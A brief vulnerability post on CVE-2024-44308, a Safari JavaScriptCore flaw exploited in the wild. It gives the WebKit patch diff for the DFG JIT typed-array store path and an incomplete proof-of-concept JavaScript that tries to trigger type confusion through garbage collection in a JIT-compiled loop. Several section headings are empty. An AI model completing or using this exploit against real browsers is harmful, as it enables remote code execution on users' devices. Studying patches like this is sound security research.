[In-The-Wild] CVE-2024-44308 : Apple Safari JavaScriptCore Remote Code Execution Vulnerability

Summary:

Technical Details:

Overview:

Analysis:

diff --git a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
index 356d52b21a120..d041b63e8ba98 100644
--- a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
+++ b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
@@ -3528,6 +3528,14 @@ void SpeculativeJIT::compilePutByValForIntTypedArray(Node* node, TypedArrayType
        }
    }

+    GPRReg scratch2GPR = InvalidGPRReg;
+#if USE(JSVALUE64)
+    if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
+        scratch2.emplace(this);
+        scratch2GPR = scratch2->gpr();
+    }
+#endif
+
    bool result = getIntTypedArrayStoreOperand(
        value, propertyReg,
#if USE(JSVALUE32_64)
@@ -3539,14 +3547,6 @@ void SpeculativeJIT::compilePutByValForIntTypedArray(Node* node, TypedArrayType
        return;
    }

-    GPRReg scratch2GPR = InvalidGPRReg;
-#if USE(JSVALUE64)
-    if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
-        scratch2.emplace(this);
-        scratch2GPR = scratch2->gpr();
-    }
-#endif
-
    GPRReg valueGPR = value.gpr();
    GPRReg scratchGPR = scratch.gpr();
#if USE(JSVALUE32_64)

Proof-of-Concept (Unfinished):

var ab = new ArrayBuffer(8);
var arr = new Int32Array(ab);

const confuser = {
    valueOf() {
        gc();
        if (this.flag) {
            return {x: 0x41414141};
        }
        return 0x1234;
    },
    flag: false
};

function jitMe(arr) {
    let x = 0;
    for(let i = 0; i < 10000; i++) {
        if(i % 100 === 0) {
            confuser.flag = !confuser.flag;
            x = confuser;
        } else {
            x = i & 0xff;
        }
        arr[(i & 0xffff)] = x;
    }
    return arr;
}

for(let i = 0; i < 100; i++) {
    jitMe(arr);
}
jitMe(arr);

Additional Information: